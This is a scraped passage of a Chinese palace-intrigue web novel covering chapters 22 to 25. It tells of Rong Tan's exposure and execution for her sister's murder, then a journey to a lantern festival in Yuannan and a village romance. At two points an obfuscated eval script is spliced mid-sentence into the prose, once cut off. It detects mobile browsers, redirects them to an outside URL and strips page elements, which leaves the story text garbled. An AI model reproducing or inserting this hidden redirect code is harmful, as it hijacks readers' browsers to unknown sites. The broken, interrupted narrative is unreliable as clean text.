秦策笑了笑,马车很快就到了慎刑司外。荣檀被婢女搀扶着下了马车,走在慎刑司的每一步,她都是忐忑的。 所谓不做亏心事,不怕鬼敲门。她却是怕极了。 她跟在秦策后面,低声问自己的婢女:“父亲那边可通知了?” “通知了,不过国公今日还得上朝,恐怕会晚些……” 荣檀脚步变慢,不太愿意继续跟着秦策。前面的人恐怕早就察觉到她的反常,转头问她:“怎么停下了?这事关康郡王府,王妃可不能不在。” 秦策好似那厉鬼一般催促着她,她咬紧牙关,木讷往前跟上。 今日来认罪的两人都非京城中人,前郡王妃出京礼佛的那寺庙为昌灵寺,寺庙下是还算热闹的宜镇,不过也是很多年前的事了。 正堂内,两名前来服罪的中年人匍匐跪着,审讯官见着康郡王过来,立刻让人招待坐下。秦策横眼看过去,自己找了个空位,说道:“大人不必拘着,该怎么审便怎么来。” 他话虽是这么说,审讯官在任这些人可没少碰上笑面虎,秦策这么说,无形之中可给他增了不少压力。不过替人做事也没办法,他清咳两声醒了醒嗓子,拍板子道:“你们二人且说说,为何要杀害前郡王妃,这可是有人指使的?” 秦策余光瞥向荣檀,嘴角仍是那一成不变的僵硬笑容。 汉子头磕在地上,一字一顿答:“我二人出自宜镇,那年生意难做,家里也快穷得揭不开锅了……我们哪认得这些马车是谁家的,只知道是有钱人家路过去寺庙烧香的罢了。一开始是没那心思的,不也敢,后来有人找上门来,说、说是绑了马车里头那人……给咱们一百两银子,后面也是鬼迷心窍就应了。” 说到此,他又连磕了几个响头,撞得地都在响,“大人,我们真的不知道那人会死啊,我们真的不知道啊……” 审讯官又问:“你们可还记得唆使你们卖命的是什么人?又是什么来历?” 另一人一直不敢说话,这会儿抬起了头,说:“是、是个女人……京城来的女人。” 这个人脸上留着大片的烧伤,审讯官看着他,也差点被吓倒过去。不过倒也习以为常,摸了口茶喝了喝就稍微缓过来了。 “京城来的女人?你且仔细说说,你如何断定?” “那、那日……我按照约定把人绑了送过去……” 一年前,宜镇荒废驿站。 外头下了小雨,里面被人稍微收拾了一番,让人有了能稍微落脚的地。桌前坐了个黑袍人,她隐藏极好,甚至喝茶都不曾把脸露出来。 她白洁的手抚过白玉瓷杯,看着一名落魄女子被扔了进来。 那女子的衣服样式并不普通,还是当下最流行的花缎。发髻糟乱,钗子都少了几支。唯一还算干净的只有那张脸。 荣秋是个乖张丫头,同为主母所生,荣檀对这个妹妹很少有敌意。她这个妹妹性子温软,也是京城里互相争取的高门小姐,可谁也没想到她会和那位玩世不恭的康郡王看对了眼。 荣国公初闻此事也是不乐意的,后来不知怎的就答应了,很快送了荣秋出嫁。荣檀是荣国公府的大小姐,却看着比自己小的妹妹率先出嫁,面子上肯定是过不去的。 她的这些坏念头是在荣秋回府和荣国公大闹一番后萌生的。 她终于知道父亲将荣秋嫁去康郡王府的真正目的,她想要荣秋说服秦策帮助柳氏、支持六皇子任太子之位。荣秋不愿,甚至与荣国公府断了往来。 不过是说服郡王,这不会让秦策置于水火之中,荣秋怎么都不愿。荣国公很精明,一开始就看出了荣檀也心慕秦策,所以他也承诺了荣檀,可以扶她成为新的康郡王妃,代价便是让如今这位郡王妃彻彻底底消失。 荣檀握住手上的玉戒指,合上眼。 那人说了什么她没听大清,只不过后来他站了起来,朝向了自己,指着说:“那位京城来的女人就是如今的康郡王妃,荣檀。” 审讯官一掌拍下来,大吼:“不得对王妃无礼!你指认凶手是王妃,有何证据?” “小人不敢撒谎。当年我们把人送了过去,那人立刻就想杀了我们灭口,在驿站里生了大火,也听到跟着她的人叫她小姐。她们走得匆匆忙忙也没确认我们有没有死,对了,我还捡到了个镯子……看着贵重,但心里怕,一直没敢当出去……”他从心口掏出来一只镯子,整个人小心翼翼的,好像也是怕东西给打碎了。 一名侍卫拿了镯子举给在座的人看,只听秦策开口询问:“本王记得这镯子是王妃嫁进王府一同带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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荣檀被上了镣铐,身上原先披的那华贵袍子也被人脱了去。她还是很镇静坐在角落里,出乎意料的,他这个女儿没有扑上来求他救自己出去。 “为父在宫中周旋,今日来晚了一步,檀儿在埋怨父亲吗?” 在外人眼里,荣鲲是位慈父。荣国公夫人逝去以后他没有再扶人上主母的位置,这份真情也是被人拿出来夸赞过的。但荣国公府内是什么模样也只有府里人知道,荣檀抬眼看着这位父亲,他的表情里可没有一丝忏悔。 “父亲还能想起来看檀儿,我应该高兴,不是吗?”荣檀别过头,也不觉得有多委屈,“秦策一直在查荣秋的死,我早该想到有这一日。父亲现在来见我不合适,想必是还有要女儿尽的义务。” 荣檀很了解自己的父亲,同样荣鲲也不得不感叹荣檀的确有几分像他。他抬头看洒在牢房里的那一地月华,和蔼道:“这件事已经被编成折子送到陛下手里了,眼下为父连康郡王府的大门都过不去,求康郡王也见不到人……檀儿你放心,为父会替你看好禾儿,让她好生长大。” 他不打算多留太久,脚步转到大牢门口,又想起来件事,“为父是荣国公府的第八代家主,国公府的声誉……为父也希望能对得上列祖列宗。” 地上的影子消失得没有痕迹,牢房里渐渐凉了起来。荣檀抱膝埋头苦笑起来。都这种时候了,他这位人人赞颂的“慈父“还在为国公府所谓的清誉着想。 她道:“真是讽刺。“ 地上的月光再次被人影笼罩,语气里全是藏不住的嘲讽,“我也觉得,真是讽刺。“ 23. 第23章 荣檀不用抬头也知道来的人是荣梨,她笑着活动了一下手指。 语气依旧高高在上,“难得你还记得我,庶女而已,真以为嫁了个院使就能飞上枝头做凤凰了?” 荣梨没有带下人一同进来,他们所有的对话便都不会传到第三人耳中。她淡淡一笑,不知从哪儿拿出了一片钥匙走过去帮荣檀解开了脚上的束缚。荣檀脸上的神情立刻转变为了迷茫。 她咬住下齿,继而问:“你这是何意?” “有些事……父亲他不便做。”荣梨贴近荣檀,附在她耳边低语,“昭阳公主的马车马上也要到了,也许这是姐姐唯一的一根救命草,你愿意去赌一把吗?” 牢房外看守的狱卒此刻不见影子,荣檀仍有些犹豫。荣梨不会如此好心,可她即便是太医院院使夫人,也没法在慎刑司里给自己埋坑。能够做到这些的她能想到的的确只有自己的父亲。 荣梨见不得她犹豫,又哄道:“时间不多了,外面已经打点好,姐姐可以自己选。” 她笑着,也不准备等着荣檀现在就给她答案。然而在她转身之际,地上的荣檀猛地起身,一手掐上了她的后颈。 荣檀在这牢中待久了,触上后颈的这手更是冷到了骨髓。荣梨眼球猛地放大,头顶的钗子被拔了下来,毫无反应的时间,金器戳进了腰肢。 疼痛袭来,荣梨下意识去捂住伤口,那手瞬间被染红,“你……荣檀……” 荣檀拔出钗子,将人一把推开。 “既然是父亲的大计,能给我当垫脚石也是你的荣幸。” 慎刑司的大牢是整个慎刑司看管最严的地方,荣檀一路跑出来却没见到任何埋伏。那大门留了个小口,荣檀想着留在大牢里的那条人命当然也没法再犹豫。就像荣梨所说的,出了慎刑司的大门,昭阳公主的马车也到了。 但同时,这条街的另一头,康郡王府的马车也缓缓而来。 这种夜里也是凉飕飕的,临街的铺子都已经打烊,他们二位来这不可能无缘由。 秦策如今对她失了信任,但先前八公主也私下里让她想办法栽赃给秦朝寻,现在是最好的机会。所以这会儿,她毫不犹豫地奔向了秦朝寻的马车。 “扑通”一声,车夫见状急忙勒停马车。 马车里传出一清丽的声音,却不是询问她的身份,“你有何求?” 这宫里的形势不容乐观,这么多次的陷害她还能跟无事人一般坐在自己面前,荣檀也确实是怕的。她跪在咯人的地上,说道:“昭阳公主,臣妾不想死,求殿下开恩,救救我。” “救你?”马车内的人仿佛在笑,满是轻蔑。 “王妃这是在做什么?本王记得此时此刻,你是在慎刑司的大牢里。”秦策来得也快,手上捏着两粒骰子在转,“昭阳公主要去将军府的话,是不是走过了些?还是说,是来劫狱?” 秦朝寻掀开帘子下了马车,只是稍微带过一眼荣檀,“怎么会?本宫与康郡王妃从不相识。” 荣檀却咬死了秦朝寻,“殿下,臣妾是有何地方您不满吗?臣妾为殿下……” “行了,别装了,挺让人作呕的。”秦朝寻越过她走向秦策,脸上是不失礼貌的笑,这也是秦策最烦她的一点,“康郡王,来看令王妃吗?” “临走前给王妃一些关怀还是有必要的,公主也是?” “当然。” 郡王府的侍卫把人按跪在地上,荣檀沉着脸,恍然间看见一抹绿色。 她很有礼貌,还是称自己“康郡王妃”。 方才针锋相对的二人没了影,荣檀对此时来到自己面前的人更是没兴趣。她浑浑噩噩笑着,“这么恭敬,你又是谁派来看我笑话的?我贵人多忘事,康郡王府里那么多小妾我也记不过来。” “姐姐不记得我没关系,有我记着姐姐。”小春弯腰,替她捋了捋糟乱的头发,也是因为这些年服侍人留下的习惯,她还帮荣檀重新插好了钗子,“苇院的冬天好冷啊,被克扣了粮食,好不容易取来的炭火被那盆冷水浇灭,第二日又生了冰碴子……姐姐,你也冷吗?” 这声音荣檀敢笃定从没听过,荣国公府不过就三姐妹,荣秋已死、荣梨还躺在大牢里,她面前这位……不、她好像又记错了,她还有个四妹妹,那个在她们记忆里死了十多年的四小姐荣春! 荣檀不可置信看着她,试着喊出那个名字:“荣春?” 面前的人一身青色衣裙,头发是做宫女打扮。荣春自小样貌不怎么出众,但既是荣国公府的小姐,也不会比旁人差。她的笑里藏着不少刀子,看得荣檀一阵剜心的痛。 “是我,姐姐。” “你还活着?是父亲找到你了吗?你快些带我走……” “走?姐姐想去哪儿?北离不会再有你的容身之所,你身上背负了如此多的人命,荣国公府急着撇清干系还来不及,又怎么会让人冒着诛九族的风险去劫狱呢?”小春摇着头,还有些惋惜,“这么多年了,你还是这样,根本没有看透荣国公那虚伪的面具。” 荣檀挣扎着要去抓小春,喊:”你知道什么?你也是父亲的弃子,毫无价值!” “可惜了,你再也看不见……”小春任由荣檀在原地叫喊,“不过不急,我会很快也会送父亲与你团聚。” 慎刑司的人在大牢里找到了被刺伤的荣梨,她的下人皆是统一了口供说“荣檀捅伤人并撬开了镣铐逃跑”,这回逼得荣檀口不择言。慎刑司官差和康郡王一同协商了一会儿,最终决定即刻处决。 他赐了她一条白绫,也是他给她最后的一点体面。 ……这几日,秦朝寻的心情也好了不少。 荣檀一死,秦策立刻断了与荣国公府的所有往来,小郡主也请了信得过的奶娘过去照顾。 “稚子无辜,秦策明白这一点是最好的。” “阿姐你怎么也没说过小春姑娘的来历啊,康郡王可都快以为是诈尸了。” 小春在一边默不作声,秦朝寻无奈晃着脑袋,又问:“荣秋如何了?” “程府的人已经请御医看过了,程霁身为院使,肯定也知道该怎么照顾的,也不用担心。不过她这次配合阿姐让荣檀捅了那么一下,将来不会欠她一条命吧?” “有什么可担心的,就算欠一条命,那也是荣国公的命。” 这些日子要应付 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秦惟在宫道策马是有着皇帝的批准,但今天他有些分神,导致比平常慢了许多。应如是跟在后面不催也不闹。 “诶?那不是费家的马车吗?可我记得费大人一直习惯在宫门上下车的。” 秦惟抬头,也是注意到了马车上的“费”字旗帜。 费萤在翰林院负责的事少,早出早归,不少官员可都是羡慕得紧。不过话又说回来,人家好歹也是公主驸马,有个这么好的闲职可能还得仰仗公主。 隔着也远,应如是也不怕被人听了去,继续说:“听说他和八公主吵了一架以后,翰林院里的事情也都没有继续分给他做了。我觉得费大人不在翰林院任职,继承费家的那几座金山也不赖。有时候我也想不明白,这宫里的俸禄真这么香吗?” “……那还真说不准。”秦惟脚下一蹬,把应如是丢在了原地慢悠悠,一人扬长而去。 应如是反应过来,下意识骂了句“老没良心的”,随即紧紧跟上去。 费家的马车完全没受到影响,掀起帘子看了一会儿的老人慢慢回正脸,说:“十二皇子真是越来越有大将军的样子了。费萤,今日为父说的你可都记住了?” 他也不知道费萤有没有在听,又演起了那一出苦肉计,“为父老了,费家的这些铺子将来还得交给你去打理。你娶了八公主,将来还能有柳家帮衬,为父才好放心离开啊……” “我说过很多次了,我是不会娶她的。” “胡闹!你不娶八公主,你要娶谁?这可是丽妃娘娘亲自找我费家议的亲事!”费老爷眼珠子一转,脑子里灵光乍现,“你不想娶八公主……难道你还想着那个九公主吗?你不知道她死了多少年了?提起来就晦气,你可少在八公主面前提起她来!” “停车。”费萤低吼,前面的车夫也懂事,很快就停了。 费老爷看着费萤下了车,一口气差点没喘上来,“逆子!你要去哪?” “突然想起来翰林院还有公务未完,就不与父亲同行了。” 24. 第24章 刚入秋,小院霎时凉快起来。小春不得又多给秦朝寻多备了些披肩和斗篷。秦朝寻难得起了个大早,侍女们给她做好妆发随意用了早膳就上了马车。 昨日她要出宫的消息就递到了皇上那儿,也不知是不是最近公务渐多,过来传陛下旨意的公公可是深夜匆匆赶来,恰巧秦朝寻院里灯未熄。早些有陛下点头答应,第二日也好直接出宫了。 算起来,这还是她第一次离开宫里去到这么远的地方。秦惟早早进宫,一上马车便觉着困,看他没什么精神,秦朝寻也放话让他在马车上睡会儿。 随行的人不过小春一名侍女,加上她的几名羽卫和秦惟的心腹,统共也有十人。 行路途中难免要在驿站歇脚,兜兜转转几日总算是到了沅南城中。 本就是冲着热闹来的,秦惟就挑了个离江淮河最近的宅子落脚。门口的掌柜看这郎才女貌也像对少年夫妻,搓着手笑眯眯问起:“两位贵客可是要找住处?咱们客栈还有几个院子空着,瞧你们人多便宜租了。” 秦朝寻并不知这掌柜认错了他们的关系,只对秦惟说道:“我和小春住一间便可。” 秦惟:“租两个院子吧。” 掌柜叫人把客人带去挑院子,秦惟跟着到了长柜前结一下银子。他这歇上几晚不算便宜,一口气定了两处院子,可见财力不浅。不过这掌柜的看起来都没方才迎接时的那么高兴了。 他把银子收了,鬼使神差劝说起来:“咱们沅南也是牵姻缘的好地方,小郎君可以去城西的司缘庙拜拜,只要是司缘大仙保佑的姻缘啊,就没有散的!老夫我可是亲身验证过的。” 后面转出来一个打扮周正的妇人,她手上还举着鸡毛掸子,像是刚打扫完院子来的,“你个老鬼头,老娘在院儿里头叫了多少次了,今儿你儿子回来,赶紧去买个鸡好烧了吃!” 秦惟没打算解释这层关系,笑着收了找的一些碎银,“多谢掌柜的提点。” 小院里收拾的还算干净,小春把被褥和床铺好,出来就看见秦朝寻在逗弄一只三色小猫。这猫儿还算亲人,又或许是因为给的这饼子合胃口,猫儿老爱蹭她的腿。 “这小猫看着不像外边的,难不成是客栈老板的?”小春一来,这小猫就露出了自己的肚皮。它身上肉可厚实,翻过来还有些滑稽。 这么亲人的猫她从前也只在某位贵妃宫里见过,不过后来那猫咬伤了人,后来宫里头便禁止饲养这东西了。 她回过神,问:“阿惟可有说今夜准备去哪儿?” 小春其实没来得及问,答:“十二殿下暂时没说,奴婢这就去问问……” “先不了,叫两个羽卫暗中跟着,我们出去一趟。” 秦朝寻离开客栈当然也是瞒着秦惟的。为了不那么招摇,她头上可是连根钗子都没有插,简单的侧麻花辫用衣服同色的缎带绑紧,混入人群里不仔细看其实也不打眼了。 “小姐,好香啊。” 正是用膳的点,客栈外这条街瞬时香气飘飘。秦朝寻摸了摸肚子,也有些饿了。 小春笑着,便说:“小姐,不如就去那家吃点儿吧?他们家人可真多。” 她们二人刚好赶了上一位客人留下来的桌子,叫伙计把剩碗收了,立刻点起了餐。 小春:“他们吃的那个好香的面是什么?” 小伙计也热情,答:“是咱们店卖的最好的插肉面,姑娘可要试试?” “那……”小春又看了桌前的秦朝寻,顿了一下。 “两碗,谢谢。”秦朝寻接了她的话。 面馆生意很不错,走了一批客人很快又来了另一批。插肉面上得还算及时,小春盯着碗里满满的碎肉,差点把脸埋进碗里。 用食的时候秦朝寻总是很安静,不过这插肉面不是清淡的东西,小春几杯水下来都撑了。反观秦朝寻,一碗空下来,她也是最后才干了两口水。 “小姐……您不觉得这面……” “在蜀州的时候,我最常吃的就是辣椒拌的面。王叔最爱做辣椒,辣椒收成好的那段时间他总会留下一半切了腌制起来,和姨娘做的阳春面和起来,味道也很不错。”突然谈到这些,秦朝寻目光远眺过远处的拱桥,又自言自语,“说起来,沅南和蜀州相隔也不过十里地了。” 沅南的大街上都牵了不少银线做网,那网下挂着灯笼,不过上面没有图案,看着也很寻常。负责挂灯笼的小伙计还在调整灯挂的距离,一名买菜的小婶子拍了拍俊小伙,打听道:“这不行灯会还有几日,咋的今天就挂上了?” 搭着高架挂灯笼的小伙子爬下来,回答:“今年咱们收成不是都不错嘛,知县大人说提前给咱们庆祝,今年行灯会还添了几条新的画舫,咱们老百姓租一个上去游半个时辰都只要二十多两银子,造福咱们哩。” 婶子笑得乐呵呵的,抱着菜篮子就四处说好消息去了。 京城的灯会,秦朝寻也鲜少看过,这行灯会她恐怕也不会去凑热闹的。小春正想着,恍惚听秦朝寻问:“你对行灯会可了解?” 小春其实没听太明白,旁边正挑着簪子的姑娘顺着她的话回答:“行灯会是咱们沅南每年丰收时节前办给百姓们享乐的,晚上的时候会在江淮河边搭台子唱戏,最特别的行灯就是家家户户的孩子在灯笼里藏下作物的种子,把灯放进河里,祈愿来年收成更上一层。” “其实近几年咱们的收成都不错,所以乡亲们在灯笼里藏的愿望也都变了。” 秦朝寻看着这姑娘最后挑了个简单的银簪子,手快一步拿了银子出来要给她结账。 “不用了,银簪而已,我自己来就好。”这姑娘把钱送到了铺子老板手里,扭过头露出了完整的脸,“我叫方柔,姑娘是外地人吧?” …… 回到客栈又是到了晚膳的点,这客栈虽然大,但住的人却不多。秦惟做不到对秦朝寻的事情不闻不问,他早就买通了秦朝寻的羽卫,自己亲自去跟了一路。 他一开始就是因为“行灯会”选的沅南,春节的时候秦朝寻不喜走动,他想着也许是不想碰上那些官家小姐,后面也就没约着她上灯会了。相较之下,行灯会就很不错。这里认识他们的人几乎没有,他们伪装成出游的少爷小姐去行灯会上凑热闹不会有人发觉。 但对他来说,如何请动秦朝寻一 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“学堂讲书的先生有几位身子不好了,这次看完行灯会就要立刻回去。” “身子不好啊……”裴夫人细想了一下,和裴锦同期进学堂说书的先生年纪都相仿,年纪轻轻的身子就垮了可真的是造孽,“多吃点,你看你,拿着太学那点银子还要拆人分下一半送回来,都瘦成骨头了!” 裴锦往嘴里送了几块肉,又迅速扒拉了两口热饭,问:“客栈里来了新客人吗?” 裴老爷点头,笑呵呵说:“是啊,这两位新客人啊郎才女貌的,跟女娲娘娘捏的泥人一样,好看的很!你娘打听了吧?那小姑娘叫什么?” “叫小寻。”裴夫人立刻变了脸,只差把不高兴写脸上了,“不过锦儿,你回来的时候有没有顺路去杜家看看呐?今年行灯会听说新添了画舫,叫上柔儿,你们一起去游游船。” 裴锦:“吃完饭我去杜家一趟。” 裴老爷别开眼神,显然是因为刚惹了夫人生气心虚。他可能想把脸栽进巴掌大的碗里,余光注意到夫人没盯着自己了,又凑到儿子身边打听道:“你和柔儿自小一块儿长大,这几日也是吉日,不如这几天就把你俩婚事定了……夫、夫人觉得如何?” 说起这事来,裴夫人没少叹气的。她放下手里的竹筷,拧起眉头说:“柔儿是个苦命丫头,她爹早些年做帮工修桥,赚的也还算过得去,可谁想那么大个人就淹死了……她娘带着她改嫁到了杜家,那杜平和知县交好,可人却不怎么地,前些日子你爹和我请了媒婆去问了,那杜平他要咱们出六贯钱才肯把人嫁了,你说他这心黑不黑?” 普通人家娶亲不过三贯,杜平给他们翻了整整一倍。杜平对这个继女不上心,家里虽然有些小钱却也没有用在方柔身上。她娘过门没多久也故去了,没几年,杜平的新妇给他生了个胖儿子,更是没把这继女放心上养了。 裴锦低头嚼肉,越发觉得没味。 身上薄薄的钱袋子好像有了千斤重,堵在他的心口完全喘不过气来。 他想:会凑到钱的。 25. 第25章 天黑得很快,小春在院里点了灯,衬得院子亮堂了不少。 秦朝寻与秦惟相对而坐,小心打开一层层食盒,“你很少在宫里用膳了,也不知道你口味有没有变,所以就都买了些。应如是,你也坐下尝尝。” 她挑的吃食杂,就算是应如是也要管住自己的嘴以防贪多闹了肚子。看二人都不说话,他只好故意挑起话题,“听说沅南秋初的时候会举办行灯会,到时候晚上热闹,可以猜灯谜、游船、放花灯……殿下有兴趣吗?” 秦惟小心看着秦朝寻,也怕她会拒绝。但秦朝寻只伸出手挑了一只咸口的米糕,咬下一小口在嘴里品味了,也许是怕噎着,说话慢极了,“我在街上也听人说了,京城的灯会我倒是没见过,在这儿看看也是不错。你们知道是什么时候办吗?” 应如是把饼子嚼完,找帕子净了手,“初七,往年是七月初七,今年刚刚好,明日初六就能提前凑凑热闹了。” 七月初七,也是个好日子。 秦惟吃的不多,这么久下来,食盒竟是一盘都没有空的。秦朝寻拿起几块不知道什么馅的米糕往秦惟嘴里送,已经不是好言相劝他吃的态度了。 “你说你成日练武怎么吃得就这么少?每次看你在宫里走,也不怕人说将军府不给你饭吃的。” 但其实秦惟是真的吃不下了。他无奈把塞在嘴边的米糕拿起来细嚼慢咽,另一只手把食盒推给了应如是,“你也吃。” 她耐心看着秦惟把手上的吃完才放心回自己院子。刚出门,小春就给她披上了斗篷。还好白天对院子熟络了一些,即使是挑着一盏灯也能大概辨清楚院子所在的方位。 用过饭后天也黑了,夜黑风高的去叨扰姑娘家怕添不少麻烦,所以裴锦起了个大早买了些糖糕带去杜府。 杜府在沅南也算是富裕的中户人家了,沅南这地方多是务农的老实人,参加科举进京当官的都是少数。也是沅南这处地方好,那些官员去其他地方视察都得路过,裴家这宅子是祖传下来的,家里人丁不兴,所以就收拾了一番留了几个院子供过路的人留宿。 但赚得还是不多,和杜府比起来,他们裴家算是高攀了。 裴锦叩响杜府的大门,不一会儿就有下人过来开门了。不过这门也没完全打开,里边的人只探了个脑袋出来,看着也面生。 他问:“方姑娘在吗?” 杜府的下人不多,但换的却很快。里头的丫鬟对他眼生,只敢怯声说话,“姑娘一早便出去了,公子……是什么人啊?” 裴锦没有回答她,只继续问自己的问题,“那你可知道她往什么方向去了?” 这个人奇奇怪怪的,只一心打听这家姑娘的事。丫鬟觉得说了也不是什么大问题,也就告诉他了。 “姑娘今日去采买蔬果了,夫人给少爷新定了两件衣裳也让姑娘一起取回来,公子可以去袁记裁缝铺找找。” 裴锦谢过了她,顺便让这丫鬟把糖糕收进去。 袁记裁缝铺每次一入秋,都会有不少人赶来订新衣裳。杜府倒是错开了时间,提前交了钱让裁缝赶制。 方柔刚买完菜就直奔了裁缝铺,不少人手里抱着挑好的绸子正排着队让店家记在册子里。 “方姑娘来了啊,来挑绸子吗?我这儿啊有匹成色不错的粉绸缎,跟你今儿身上这件啊一样好看。你拿着去制件新衣裳保管让沅南的儿郎们挪不开眼。”说话的是裁缝铺的老板娘,很平易近人,与谁都能说到一块去。不过她唯独与杜府如今的夫人看不顺眼,所以府上要制新衣裳都是让方柔来跑腿。 她只是随意看了一眼正挑着绸缎的夫人们,对着袁记老板娘礼貌地笑了,“不了,我今日是来替府上的小少爷来拿新衣的。” 袁夫人迅速收了笑容,话里伴着无奈,“跟我来吧。” 选好绸缎的几位夫人刚好瞧见,其中一位问:“那不是方小姐?怎么也不来选就走了?莫非是看不上这些?” 另一位夫人立刻接话:“那也不是人家看不上,杜府管着她吃、管着她住就是不错的了,这一年到头啊衣服只要是没破得太大,也还是穿着。杜府那个新夫人吝啬得很,她那儿子壮得跟个豚似的,没半个月啊就得过来补衣裳呢。” 其他几位夫人掩着面笑着,手里的绸缎都快抱不稳了。 “哎哟,说起这方姑娘,谁不觉得可惜。要不是她娘改嫁,她哪会遭这罪,怎么说也是杜平半个女儿,还拿着当下人使,忒没良心了。” 她们正说着,前面正排着队的夫人也跟着来了兴趣,突然冒出一句,“但是听说方姑娘不是还有个相好的,叫、叫裴什么吧?” “裴家夫妇的儿子嘛,裴锦!人家生得标标志志的,好些年前科举中了去盛京做官去咯。唉,这京城里的好人家多的呢,年轻人刚进京看眼花的多了去了,尝到了京城里的那些甜头,谁还会记得这儿呢。他们裴家可真是行了大运。” “真的?不过前阵子我听起对面那媒婆在那儿说裴家去杜府提亲了,不过没成,也不知道什么原因。” “唉别说了别说了,人家的事咱们不凑热闹了。” 方柔把包着衣裳的包袱放在了篮子最底下,今日要的东西都采买好了,回去以后很快就能做好今日的午膳。 刚好路过鱼行,方柔想起来夫人特意嘱咐了几次要买条大鱼给少爷补补身子,又提着那塞的满满当当的篮子折返过去。 “叶大哥,帮我宰条鱼吧,就这条,不胖不瘦刚刚好。” 鱼行的叶屠夫宰鱼很有一手,他一手飞速捞出方柔挑的那条鱼,摔晕了以后打了个称,“七十文。” “我来给吧。”年轻人的声音就在耳边风,方柔的手被他推回去,动作很有力但完全不会让人感觉不适。 方柔转头看着身边的年轻人,有那么一刻觉得很生疏,“裴、裴锦?” 裴锦拿过她手里的篮子,迅速收起了钱袋子,“杜府的丫鬟说你会在这儿。” 叶屠夫把鱼装好,很会看眼色,把东西忘裴锦手上递。 “裴家的小子?这是多久没见了,再拿一条回家吃?” “不了,多谢叶大哥。” 方柔一路上都没有主动和裴锦搭话,要看着快到杜府,她一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290859|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿过裴锦手里的菜篮子就要往那儿跑。 “柔儿。” 方柔顿住,很不情愿开口问:“裴公子还有事吗?” “……今晚一起去灯会吗?” 裴锦犹豫了很久才开口,他不清楚这些年方柔在杜府里的经历,但看着她独自一人出府采买这些,或多或少也猜到了。他肯定是心疼的,只是他还不知道要如何去安慰人。 “裴公子找我就是为了这个?”方柔缓了口气,背对着裴锦,也看不清楚她是何神情,“谢谢裴公子送我回来,后厨里等得急,我先回去了。” 裴锦上前一步,极力克制了要去拦人的冲动,“今夜酉时,我在喜雨桥下等你。” 主母王夫人催得急,方柔回府后刚把给杜亥小少爷的新衣服交给后院里的丫鬟,王夫人身边的老婆子就找了过来。 这老婆子是随王夫人一起进的杜家,说话和王夫人一般难听。 “回来的这么慢,老爷今日宴请了知县大人来府上,你可得抓紧点把这些菜备好了。到时候惹得知县大人不悦,你可有好果子吃的。” “涂妈妈,怎么了这是?” 后院里转出来一名保养极佳的妇人,身上的料子是当下不少夫人女子们重金难求的珍珠纱。身上所用饰物丝毫不夸张,却也都是价值不菲之物。方柔一听这声音就知道是王夫人来了,提前行了礼道:“夫人。” 王夫人母家也是沅南有名的富贵人家了,若不是她屈尊下嫁,杜平哪能过上这等好日子。这夫人行事霸道,刚进杜家便把人训得服服帖帖,府里的吃穿用度皆须过她的眼,但凡是没报备挪用府上银子的都没好下场。 她看着方柔,目光里丝毫不见同情,“去吧鱼煮了,你爹请知县替亥儿找个学堂,你可莫要搅黄了这事。” “柔儿知道了。”方柔不与她扯话,径直往后厨去。 涂妈妈上前扶王夫人,在她耳边说:“有个丫鬟今儿拿了糖糕进了府,听说有个公子来找这方柔。这小贱蹄子真是不害臊,总招些混混上门。” “涂妈妈这话可别传别人耳朵里去了。方柔这丫头确实得想办法送出去了,要是能捞一笔替亥儿博个前程,倒也是不错了。那丫鬟可有说那公子长什么样?” “那公子……听说像个读书人,不过老奴在这沅南也见过几个读书人的,方柔不识得几个字,怎么可能还会认识个读书人呢。” 王夫人转着手上的扳指,若有所思,“那倒未必。还记得前些日子媒婆上门商酌彩礼的裴家吗?他家儿子可是探花,如今在京城里也许混得还算是不错的。要不是老爷瞒着我出了价,亥儿进学堂的事由他着手倒是好得多。” 涂妈妈经她这一提醒就想起来了,连着点头,“夫人说的是,那裴公子学识过人,在京城里也混了个有名分的小官了。那老奴……要不老奴私底下再去裴家探探口风?” “不急,京城里那么多姑娘家,他裴郎未必还会一心一意想着方柔。这几日行灯会,你多安排方柔出府去,好让他们见见。” 王夫人走进屋内,在那黑白棋局上又落下了一子。